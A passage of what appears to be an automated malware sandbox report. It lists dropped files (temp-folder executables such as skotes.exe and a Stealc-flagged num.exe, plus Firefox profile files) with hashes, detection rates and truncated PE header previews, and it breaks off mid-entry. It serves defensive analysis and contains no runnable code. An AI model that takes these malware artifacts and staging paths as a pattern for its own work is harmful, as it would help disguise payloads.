SHA-256:	55A539C066DCCA8B451445A6BC712FED79B4984297E86E629FBB74E50256FA8E
SHA-512:	7C72F9DCF959DE9F012DD06841F6E3DEFA892A5F3AB5ED20A667D4FAC0C613B8E5CE34699590D720FD7A38FB7F62FFC7DC77AA027713FAD558EB84F371A49ABB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J........................@.......................... /.......+...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...wjqxmzgq.0)......$).................@...xobrrexd..............+.............@....taggant.0......."....+.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2137600
Entropy (8bit):	7.961389881797388
Encrypted:	false
SSDEEP:	49152:uGVhpyQho3PpnAE1ktGuQXdOS98NNT/tspRkYlQ3Yr2We5Vz+:hHouyWGuQNOS98NLCMYcD+
MD5:	212E008D0B8A1D4874846987F37E34FA
SHA1:	0C125B1139DBBB0AA2FEDFB916D1365001CCE1E9
SHA-256:	D9D47FD94A18E02CB473EC8ED22D7D7F6CE79825F999D129D662F71409A48082
SHA-512:	F2D886EF7CEDC828234029B48BB146C449ECDF7D2D293C759AF6DC61F873FE873BE5CBEA21B9C07FD6ED868AA8B32CBA804B79BD788475F53490B54872E7D0D6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r......B!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...cbbjugzk......X.....................@...lfmofsyx.....pr......x .............@....taggant.0....r.."...\| .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584656055010914
Encrypted:	false
SSDEEP:	12288:MqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tk:MqDEvCTbMWu7rQYlBQcBiT6rprG8abk
MD5:	E79F27AB2A69921BB110A37574D7B139
SHA1:	AE5A3C3D0602C608D4BED3331CCE90DFEC513451
SHA-256:	3B6C154CB62E1D8797B300EC8615F3CDFB692F5A31B3F6AB5B66278549332D4D
SHA-512:	6DD62C82AFD48CE91BB353F9BE96B8BA6F1D8E2406E689B765943328B1CB4C2FAAD6DE32B388937B586654DFC47E3FE9E5C4EBE4B8320ED896DBBFC904A98122
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...<R$g.........."..........X......w.............@..........................`...........@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003088001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2778624
Entropy (8bit):	6.510150934407278
Encrypted:	false
SSDEEP:	49152:RIEdKjoDJjVnbnxKiZJp+6BuVhEEi+Vt+c:SEdKjkJjVnbbprBg2EZt+
MD5:	481C8B24C57DA4A1A61F3BA321F84C5C
SHA1:	57B83E709DDF9067F94E3831F6CC2E18F59C42EE
SHA-256:	F3DAF351DC8D9B8EC19991E83AD7344D18124790592E971CF3D93070C0800C33
SHA-512:	3E5018BE21D277141C1FFD1716D43E9F809BD9E260612CD0DAE27F62C0973F37A3154905D6E532353808DCDDD15C979CADE9250E016282C09D5F1FB1C7FD1A34
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +.....kx...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...cfyesryy. .........:..............@...gwntuilp. ..........@.............@....taggant.@......"...D.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950159316093512
Encrypted:	false
SSDEEP:	49152:HGXEq3S4qDsnbTLPKyNe4dAZj9HmCgB/dhxYR8ks9:HGPmwbTLPhGkBB1Lw8t
MD5:	19EC3B43009D50CF26E7BF585E169042
SHA1:	770360550C4365DA0FC098C7A0144F76F8D24BCE
SHA-256:	FDB64B9F7129172F671495C0F04464DD39BE622B044DC1E316F30A28805079AD
SHA-512:	1905D6E48880DB9E2395A792B9228211DC907A83261F4BB13ABAC572A26B587DF9E435FB4D9E7C771CBA79BF5061D931245599D9911EBA8A571C949CF8E24ED2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@.......................... L...........@.................................W...k.......D.....................K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...edfilslq......1.....................@...gprpjvtr......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950159316093512
Encrypted:	false
SSDEEP:	49152:HGXEq3S4qDsnbTLPKyNe4dAZj9HmCgB/dhxYR8ks9:HGPmwbTLPhGkBB1Lw8t
MD5:	19EC3B43009D50CF26E7BF585E169042
SHA1:	770360550C4365DA0FC098C7A0144F76F8D24BCE
SHA-256:	FDB64B9F7129172F671495C0F04464DD39BE622B044DC1E316F30A28805079AD
SHA-512:	1905D6E48880DB9E2395A792B9228211DC907A83261F4BB13ABAC572A26B587DF9E435FB4D9E7C771CBA79BF5061D931245599D9911EBA8A571C949CF8E24ED2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@.......................... L...........@.................................W...k.......D.....................K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...edfilslq......1.....................@...gprpjvtr......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2778624
Entropy (8bit):	6.510150934407278
Encrypted:	false
SSDEEP:	49152:RIEdKjoDJjVnbnxKiZJp+6BuVhEEi+Vt+c:SEdKjkJjVnbbprBg2EZt+
MD5:	481C8B24C57DA4A1A61F3BA321F84C5C
SHA1:	57B83E709DDF9067F94E3831F6CC2E18F59C42EE
SHA-256:	F3DAF351DC8D9B8EC19991E83AD7344D18124790592E971CF3D93070C0800C33
SHA-512:	3E5018BE21D277141C1FFD1716D43E9F809BD9E260612CD0DAE27F62C0973F37A3154905D6E532353808DCDDD15C979CADE9250E016282C09D5F1FB1C7FD1A34
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +.....kx...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...cfyesryy. .........:..............@...gwntuilp. ..........@.............@....taggant.@......"...D.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950159316093512
Encrypted:	false
SSDEEP:	49152:HGXEq3S4qDsnbTLPKyNe4dAZj9HmCgB/dhxYR8ks9:HGPmwbTLPhGkBB1Lw8t
MD5:	19EC3B43009D50CF26E7BF585E169042
SHA1:	770360550C4365DA0FC098C7A0144F76F8D24BCE
SHA-256:	FDB64B9F7129172F671495C0F04464DD39BE622B044DC1E316F30A28805079AD
SHA-512:	1905D6E48880DB9E2395A792B9228211DC907A83261F4BB13ABAC572A26B587DF9E435FB4D9E7C771CBA79BF5061D931245599D9911EBA8A571C949CF8E24ED2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@.......................... L...........@.................................W...k.......D.....................K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...edfilslq......1.....................@...gprpjvtr......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950159316093512
Encrypted:	false
SSDEEP:	49152:HGXEq3S4qDsnbTLPKyNe4dAZj9HmCgB/dhxYR8ks9:HGPmwbTLPhGkBB1Lw8t
MD5:	19EC3B43009D50CF26E7BF585E169042
SHA1:	770360550C4365DA0FC098C7A0144F76F8D24BCE
SHA-256:	FDB64B9F7129172F671495C0F04464DD39BE622B044DC1E316F30A28805079AD
SHA-512:	1905D6E48880DB9E2395A792B9228211DC907A83261F4BB13ABAC572A26B587DF9E435FB4D9E7C771CBA79BF5061D931245599D9911EBA8A571C949CF8E24ED2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@.......................... L...........@.................................W...k.......D.....................K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...edfilslq......1.....................@...gprpjvtr......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.921421671700435
Encrypted:	false
SSDEEP:	48:YnSwkmrOVPUFRbOdwNIOdoWLEWLtkDZuwpx5FBvipA6kb92the6LuhakNon9d4xE:8S+OVPUFRbOdwNIOdYpjvY1Q6LzL48P
MD5:	8C4A3F75C4FD9DCA7E4F148880E8B43A
SHA1:	A4FBB5913D6868F1AB74D464E558EE40E841847F
SHA-256:	FCB89C143601BF4ECB1F161CB4107FB7B31F5D0E3868820768ED89C55945BEF2
SHA-512:	F34E382C87F70AA678A88918C6689DF08865B4615BADA5E1DAD447B47343112EA06BA545A80F9BA00E04C730A40081DF9BA14196B4592FA27CC2FBA92D0E89D0
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.921421671700435
Encrypted:	false
SSDEEP:	48:YnSwkmrOVPUFRbOdwNIOdoWLEWLtkDZuwpx5FBvipA6kb92the6LuhakNon9d4xE:8S+OVPUFRbOdwNIOdYpjvY1Q6LzL48P
MD5:	8C4A3F75C4FD9DCA7E4F148880E8B43A
SHA1:	A4FBB5913D6868F1AB74D464E558EE40E841847F
SHA-256:	FCB89C143601BF4ECB1F161CB4107FB7B31F5D0E3868820768ED89C55945BEF2
SHA-512:	F34E382C87F70AA678A88918C6689DF08865B4615BADA5E1DAD447B47343112EA06BA545A80F9BA00E04C730A40081DF9BA14196B4592FA27CC2FBA92D0E89D0
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11956
Entropy (8bit):	5.469129436691671
Encrypted:	false
SSDEEP:	192:+nPOeRnLYbBp6iJ0aX+H6SEXKKNrjj5RHWNBw8d2Sl:UDe7JUadnHEwD0
MD5:	9A3483E5D3020AFF904021F622F4CB89
SHA1:	FEA855B118D48210294A590CF20CDF021FBDE20B
SHA-256:	FC71C90C0338627D4A4AB9D4B8274BDF5F7B11D41507850C16B6D20980067682
SHA-512:	C370766EFB12F5E98557C4E171F8157DA9FC09A248C4295616B1437E30762185841700B58E08F8AFA672EDBF5216E8E5E3A8F46792A512C459E5DB92727F09E1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730440806);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11956
Entropy (8bit):	5.469129436691671
Encrypted:	false
SSDEEP:	192:+nPOeRnLYbBp6iJ0aX+H6SEXKKNrjj5RHWNBw8d2Sl:UDe7JUadnHEwD0
MD5:	9A3483E5D3020AFF904021F622F4CB89
SHA1:	FEA855B118D48210294A590CF20CDF021FBDE20B
SHA-256:	FC71C90C0338627D4A4AB9D4B8274BDF5F7B11D41507850C16B6D20980067682
SHA-512:	C370766EFB12F5E98557C4E171F8157DA9FC09A248C4295616B1437E30762185841700B58E08F8AFA672EDBF5216E8E5E3A8F46792A512C459E5DB92727F09E1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730440806);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
